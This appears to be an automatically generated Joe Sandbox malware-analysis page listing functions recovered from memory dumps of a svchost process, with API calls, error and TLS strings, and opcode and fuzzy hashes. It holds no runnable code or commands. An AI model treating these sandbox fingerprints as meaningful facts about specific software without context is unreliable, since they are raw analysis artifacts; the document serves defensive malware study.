Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: ErrorLast_errno
String ID: %s (0x%08X) - %s$SEC_E_CONTEXT_EXPIRED
API String ID: 3939687465-1358876214
Opcode ID: 61983125f33651b5802577ff577e31b0029aa78b3f8dc3bb7d7398845e948f08
Instruction ID: b377b2b5385d94712b1edc3b36b181573217c439c9bc386081dd711bec578826
Opcode Fuzzy Hash: 61983125f33651b5802577ff577e31b0029aa78b3f8dc3bb7d7398845e948f08
Instruction Fuzzy Hash: AF01807921860086F6729B91F4913E9E2B0B788FC4FC40011EA6F02790FF3CC746E610

Function 00000173D019E5D4 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D019E9FB
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D019EA0E
GetLastError.KERNEL32 ref: 00000173D019EA17
SetLastError.KERNEL32 ref: 00000173D019EA25

Strings

%s (0x%08X) - %s, xrefs: 00000173D019E57D
SEC_E_CERT_WRONG_USAGE, xrefs: 00000173D019E5D4

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: ErrorLast_errno
String ID: %s (0x%08X) - %s$SEC_E_CERT_WRONG_USAGE
API String ID: 3939687465-3896346274
Opcode ID: c523917cea4f88baa68328a1d349acba4bc64ba1872f12e598f7fb40ba3a4714
Instruction ID: 6dc2b074fde1316518089e14a25c6d02af22b35db7f2ec7b3521cd6f9ecfe8d7
Opcode Fuzzy Hash: c523917cea4f88baa68328a1d349acba4bc64ba1872f12e598f7fb40ba3a4714
Instruction Fuzzy Hash: C501407921864086F672AB91F4913E9A2B5B788FD4FC40015EA6F02795FF7CC745E610

Function 00000173D019E610 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D019E9FB
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D019EA0E
GetLastError.KERNEL32 ref: 00000173D019EA17
SetLastError.KERNEL32 ref: 00000173D019EA25

Strings

%s (0x%08X) - %s, xrefs: 00000173D019E57D
SEC_E_DELEGATION_POLICY, xrefs: 00000173D019E610

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: ErrorLast_errno
String ID: %s (0x%08X) - %s$SEC_E_DELEGATION_POLICY
API String ID: 3939687465-829877842
Opcode ID: d4d8b91f72fff87b202198528f23fdc910b22ffa6555036cbe69808ad8010e3e
Instruction ID: 9a64bdb70ef382e60c95ec6bdcc88c84315f6d9e5a92aaf4edcc90abfdf568d9
Opcode Fuzzy Hash: d4d8b91f72fff87b202198528f23fdc910b22ffa6555036cbe69808ad8010e3e
Instruction Fuzzy Hash: BE01807921860086F6729B91F4913E9A2B0B788FC4FC40011EA6F02790FF3CC745E610

Function 00000173D019E604 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D019E9FB
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D019EA0E
GetLastError.KERNEL32 ref: 00000173D019EA17
SetLastError.KERNEL32 ref: 00000173D019EA25

Strings

%s (0x%08X) - %s, xrefs: 00000173D019E57D
SEC_E_DECRYPT_FAILURE, xrefs: 00000173D019E604

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: ErrorLast_errno
String ID: %s (0x%08X) - %s$SEC_E_DECRYPT_FAILURE
API String ID: 3939687465-1043736155
Opcode ID: 2c35cf236970ab930637a02230fddc1cfffb66284058033d907bb0a4ca484230
Instruction ID: 729945cb5066fc09eb3058a3a4be2ed4c1aaa70ab93f0c7d5d1ef618d06030dd
Opcode Fuzzy Hash: 2c35cf236970ab930637a02230fddc1cfffb66284058033d907bb0a4ca484230
Instruction Fuzzy Hash: 5801807921860086F6729B91F4913E9A2B0B788FC4FC40011EA6F02790FF3CC746E610

Function 00000173D019E5F8 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D019E9FB
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D019EA0E
GetLastError.KERNEL32 ref: 00000173D019EA17
SetLastError.KERNEL32 ref: 00000173D019EA25

Strings

%s (0x%08X) - %s, xrefs: 00000173D019E57D
SEC_E_CRYPTO_SYSTEM_INVALID, xrefs: 00000173D019E5F8

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: ErrorLast_errno
String ID: %s (0x%08X) - %s$SEC_E_CRYPTO_SYSTEM_INVALID
API String ID: 3939687465-3331766186
Opcode ID: b1bae386a3d65ff28abd1242a99fe727f19cf3943ac4257ccb029480fa423dac
Instruction ID: 7ab0ca41704e1442dce530cf602dc06fb17bf207d671391d0d8a061091dc4c39
Opcode Fuzzy Hash: b1bae386a3d65ff28abd1242a99fe727f19cf3943ac4257ccb029480fa423dac
Instruction Fuzzy Hash: 6B01807921860086F6729B91F4913E9A2B0B788FC4FC40011EA6F02790FF3CC745E610

Function 00000173D019E628 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D019E9FB
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D019EA0E
GetLastError.KERNEL32 ref: 00000173D019EA17
SetLastError.KERNEL32 ref: 00000173D019EA25

Strings

%s (0x%08X) - %s, xrefs: 00000173D019E57D
SEC_E_DOWNGRADE_DETECTED, xrefs: 00000173D019E628

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: ErrorLast_errno
String ID: %s (0x%08X) - %s$SEC_E_DOWNGRADE_DETECTED
API String ID: 3939687465-1814928707
Opcode ID: e40e7ce7aaa022eaac0eb0474ca994afa18f010793b8621ccf14ea6f630dde15
Instruction ID: aa69e2a897e0ec1275fd391b13d7c54a7c65fb90ea16bbd5da6b13a2b338dfd3
Opcode Fuzzy Hash: e40e7ce7aaa022eaac0eb0474ca994afa18f010793b8621ccf14ea6f630dde15
Instruction Fuzzy Hash: A501807921864086F6729B91F4913EAE2B0B788FC4FC40011EA6F02790FF3CC745E610

Function 00000173D019E61C Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D019E9FB
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D019EA0E
GetLastError.KERNEL32 ref: 00000173D019EA17
SetLastError.KERNEL32 ref: 00000173D019EA25

Strings

SEC_E_DELEGATION_REQUIRED, xrefs: 00000173D019E61C
%s (0x%08X) - %s, xrefs: 00000173D019E57D

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: ErrorLast_errno
String ID: %s (0x%08X) - %s$SEC_E_DELEGATION_REQUIRED
API String ID: 3939687465-3988574617
Opcode ID: 3a3bde5c9ab0fb7f7e326860c92128801c8b0d75ec7503537036e7543c7320be
Instruction ID: f42acf84497becbbcbdb4375ee98e2c1ed2cc36fb060a90a61f68d26beee1542
Opcode Fuzzy Hash: 3a3bde5c9ab0fb7f7e326860c92128801c8b0d75ec7503537036e7543c7320be
Instruction Fuzzy Hash: 7601807921860086F6729B91F4913E9A2B0B788FC4FC40011EA6F02790FF3CC745E610

Function 00000173D019E640 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D019E9FB
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D019EA0E
GetLastError.KERNEL32 ref: 00000173D019EA17
SetLastError.KERNEL32 ref: 00000173D019EA25

Strings

%s (0x%08X) - %s, xrefs: 00000173D019E57D
SEC_E_INCOMPLETE_CREDENTIALS, xrefs: 00000173D019E640

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: ErrorLast_errno
String ID: %s (0x%08X) - %s$SEC_E_INCOMPLETE_CREDENTIALS
API String ID: 3939687465-1320471878
Opcode ID: 03152994c3950484c5c98b6f09b6cf5e3df2be0ebc9ea3828cb78d72b3857db1
Instruction ID: f323c9d00cfdd915154e38847c330cf580a619b78118cc2c7b8d03f0b626ef3d
Opcode Fuzzy Hash: 03152994c3950484c5c98b6f09b6cf5e3df2be0ebc9ea3828cb78d72b3857db1
Instruction Fuzzy Hash: 4E01807921864086F6729B91F4913E9A2B0B788FC4FC40011EA6F02790FF3CC745E610

Function 00000173D019E634 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D019E9FB
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D019EA0E
GetLastError.KERNEL32 ref: 00000173D019EA17
SetLastError.KERNEL32 ref: 00000173D019EA25

Strings

%s (0x%08X) - %s, xrefs: 00000173D019E57D
SEC_E_ENCRYPT_FAILURE, xrefs: 00000173D019E634

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: ErrorLast_errno
String ID: %s (0x%08X) - %s$SEC_E_ENCRYPT_FAILURE
API String ID: 3939687465-3371550302
Opcode ID: c95089c4754a777f2387e5c161045ba63b7e950e5af8988961487714c573afcb
Instruction ID: f861c207d5825f972bc65dc37c45148fd4e7bb34ba7c13a3b085c281d1a8ca81
Opcode Fuzzy Hash: c95089c4754a777f2387e5c161045ba63b7e950e5af8988961487714c573afcb
Instruction Fuzzy Hash: BB01807921860086F672AB91F4913E9A2B0B788FC4FC40011EA6F02790FF3CC745E610

Function 00000173D019E548 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 38COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D019E9FB
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D019EA0E
GetLastError.KERNEL32 ref: 00000173D019EA17
SetLastError.KERNEL32 ref: 00000173D019EA25

Strings

%s (0x%08X) - %s, xrefs: 00000173D019E57D
SEC_E_ALGORITHM_MISMATCH, xrefs: 00000173D019E548

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: ErrorLast_errno
String ID: %s (0x%08X) - %s$SEC_E_ALGORITHM_MISMATCH
API String ID: 3939687465-3091687665
Opcode ID: 25c386bd488f808c3cfea18c7eaafe3f10b4d0589020745c7e9fd4b935c226b7
Instruction ID: f3cf564578426ad5b4f95b97ae8c93a4ab4b71a5f3c0b96c20f94d4a135507f4
Opcode Fuzzy Hash: 25c386bd488f808c3cfea18c7eaafe3f10b4d0589020745c7e9fd4b935c226b7
Instruction Fuzzy Hash: E101407921860086E6729F91F4913EAA2B5B788FD4FC40015EA6F02795FF7CC745E610

Function 00000173D015C530 Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 232COMMON

Download Yara Rule

Strings

unsupported transport type %d, xrefs: 00000173D015C5F6
haproxy protocol not support with SSL encryption in place (QUIC?), xrefs: 00000173D015C8CC

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID:
String ID: haproxy protocol not support with SSL encryption in place (QUIC?)$unsupported transport type %d
API String ID: 0-551583306
Opcode ID: 80d50f79aa8e2e0e1798be875ed64e65ca41722820d66fff8b0017b3ebf657c0
Instruction ID: b5dbe52857994ddedd27f0f9fb6ff1c95388e80490b01a038ea8a75dc5aaff3a
Opcode Fuzzy Hash: 80d50f79aa8e2e0e1798be875ed64e65ca41722820d66fff8b0017b3ebf657c0
Instruction Fuzzy Hash: 9DA19B7A2087844AFB758FE5E8483E9ABB0A745FC4F884011DE6D4B795FB78C640E744

Function 00000173D01A62C0 Relevance: 7.6, APIs: 5, Instructions: 120COMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A62D8
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A633A

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: callocfree
String ID:
API String ID: 306872129-0
Opcode ID: c678f5ed1600a8b959c48394a6695923d33b67fef965bb8b888b8516cc0fb7c3
Instruction ID: 31e86a3fd8f08c75d311d53713074ed0b4322ae2544c8e742a090f4fdef2d4be
Opcode Fuzzy Hash: c678f5ed1600a8b959c48394a6695923d33b67fef965bb8b888b8516cc0fb7c3
Instruction Fuzzy Hash: 46714936105BC085E3219F74E8483CE76A4F746BB8F480339DAB90E7DADBB98144C721

Function 00000173D0187A80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 101networkCOMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000173D0168A59), ref: 00000173D0187A9F
WSACreateEvent.WS2_32 ref: 00000173D0187B99

Strings

d, xrefs: 00000173D0187B85

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: CreateEventcalloc
String ID: d
API String ID: 2382962142-2564639436
Opcode ID: f7e2894db741331a8fc1dc95fb01fb035a612877f8dc08512d1d4fdd7cec79f2
Instruction ID: f0bf010d5afdeb5bed5a671fc1f495b3fe96e7161abd7981c259c0460e73aa83
Opcode Fuzzy Hash: f7e2894db741331a8fc1dc95fb01fb035a612877f8dc08512d1d4fdd7cec79f2
Instruction Fuzzy Hash: 13411C3A218A4091EB61DBA0D4913E9A3B5FB98FC4FC44535DA6D47699FF38C705E310

Function 00000173D019F5B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59stringwindowCOMMON

Download Yara Rule

APIs

FormatMessageW.KERNELBASE ref: 00000173D019F614
wcstombs.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00000173D019F62A
strchr.VCRUNTIME140 ref: 00000173D019F647

Strings

Unknown error, xrefs: 00000173D019F5B0

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: FormatMessagestrchrwcstombs
String ID: Unknown error
API String ID: 4171340688-83687255
Opcode ID: 1a901455a9f3a64667489dd8f92dc32385fa8db47a44b5d6ab261f7e384b3a5a
Instruction ID: 86a71d2f863220cd7fd31457d38ba08f1605654f98216c7a5752d7d498318c6d
Opcode Fuzzy Hash: 1a901455a9f3a64667489dd8f92dc32385fa8db47a44b5d6ab261f7e384b3a5a
Instruction Fuzzy Hash: 8D21927520C7C095EB318B66E8043DAA6A0AB8AFD4FC44214DABE03BD5EF7CC5419710

Function 00000173D0164840 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 40COMMON

Download Yara Rule

APIs

Part of subcall function 00000173D01AC700: GetModuleHandleA.KERNEL32 ref: 00000173D01AC746
Part of subcall function 00000173D01AC700: GetProcAddress.KERNEL32 ref: 00000173D01AC756

Part of subcall function 00000173D019FC30: GetModuleHandleW.KERNEL32 ref: 00000173D019FC44

GetProcAddressForCaller.KERNELBASE ref: 00000173D01648A1

Strings

security.dll, xrefs: 00000173D016487B
InitSecurityInterfaceW, xrefs: 00000173D0164897
secur32.dll, xrefs: 00000173D0164874

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: AddressHandleModuleProc$Caller
String ID: InitSecurityInterfaceW$secur32.dll$security.dll
API String ID: 2824060896-1950755585
Opcode ID: 7c02c1c736985d97e36572f55ab4815c32138ce75a420f4355de45eaa3645f69
Instruction ID: be8fe1388db26a687bd71cac438a3fb063e5b642f6fcb7c1c69a51af39670258
Opcode Fuzzy Hash: 7c02c1c736985d97e36572f55ab4815c32138ce75a420f4355de45eaa3645f69
Instruction Fuzzy Hash: 89015E39B19B4582EF289B99E8917D9A3F0F745BC4FC84029996D83751FF7CC215A600

Function 00000173D01B1420 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 119COMMON

Download Yara Rule

Strings

select/poll on SSL/TLS socket, errno: %d, xrefs: 00000173D01B1562
SSL/TLS connection timeout, xrefs: 00000173D01B1586

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID:
String ID: SSL/TLS connection timeout$select/poll on SSL/TLS socket, errno: %d
API String ID: 0-3791222319
Opcode ID: 0ff6bb89b665cf597bc51ea544f9db1bffba136d7b8ffb89bfd6ba5892530ca0
Instruction ID: 63ee59fb8149c1cbe850d1b4c93a660f579155b6cc2908d0243e87db6e10c149
Opcode Fuzzy Hash: 0ff6bb89b665cf597bc51ea544f9db1bffba136d7b8ffb89bfd6ba5892530ca0
Instruction Fuzzy Hash: 28419E3A60864086FA31DEA6D6043ADA7B2A787FE4FD10211DE7E477D5FB39C641A700

Function 00000173D03B1264 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000173D03B126A
HeapAlloc.KERNEL32 ref: 00000173D03B1279
GetProcessHeap.KERNEL32 ref: 00000173D03B1293
HeapAlloc.KERNEL32 ref: 00000173D03B12A4

Memory Dump Source

Source File: 00000010.00000002.2560283707.00000173D03B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000173D03B0000, based on PE: true

Associated: 00000010.00000002.2559994947.00000173D03B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2560836688.00000173D03C6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2561560882.00000173D03D1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2561932402.00000173D03D3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2562469981.00000173D03D9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d03b0000_svchost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 49d25ca4c0d2d58532c0aa88b9a1a714c1b896cbf655224b34d246cfbb06d60a
Instruction ID: a36241c62b1244f77e5823f11bfe3d0c14403389b4d834f1266dd5466eb183fb
Opcode Fuzzy Hash: 49d25ca4c0d2d58532c0aa88b9a1a714c1b896cbf655224b34d246cfbb06d60a
Instruction Fuzzy Hash: F4E06D3170160086E714AFA2D82C389B7F1FB88F86F88C028C91D47351DFBE85A99740

Function 00000173D03B1000 Relevance: 5.0, APIs: 4, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000173D03B1006
HeapAlloc.KERNEL32 ref: 00000173D03B1015
GetProcessHeap.KERNEL32 ref: 00000173D03B1028
HeapAlloc.KERNEL32 ref: 00000173D03B1037

Memory Dump Source

Source File: 00000010.00000002.2560283707.00000173D03B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00000173D03B0000, based on PE: true

Associated: 00000010.00000002.2559994947.00000173D03B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2560836688.00000173D03C6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2561560882.00000173D03D1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2561932402.00000173D03D3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2562469981.00000173D03D9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d03b0000_svchost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 5675c379a8d9e89708cd85a835e518bb04a23da85e3639b53f95be9f51753b7f
Instruction ID: 7d5639ba676d07bb52b713e2b3db1e436179c95e61363d7ceaef6c2eea183e2b
Opcode Fuzzy Hash: 5675c379a8d9e89708cd85a835e518bb04a23da85e3639b53f95be9f51753b7f
Instruction Fuzzy Hash: 1CE0ED7171154086E718ABA2D918299B7B1FB88F56F888028C91947311DF7985A99614

Function 00000173D03B37F8 Relevance: 4.5, APIs: 3, Instructions: 39threadCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 00000173D03B3811
PathFindFileNameW.SHLWAPI ref: 00000173D03B3820

Part of subcall function 00000173D03B3D58: StrCmpNIW.KERNELBASE(?,?,?,00000173D03B272E), ref: 00000173D03B3D70

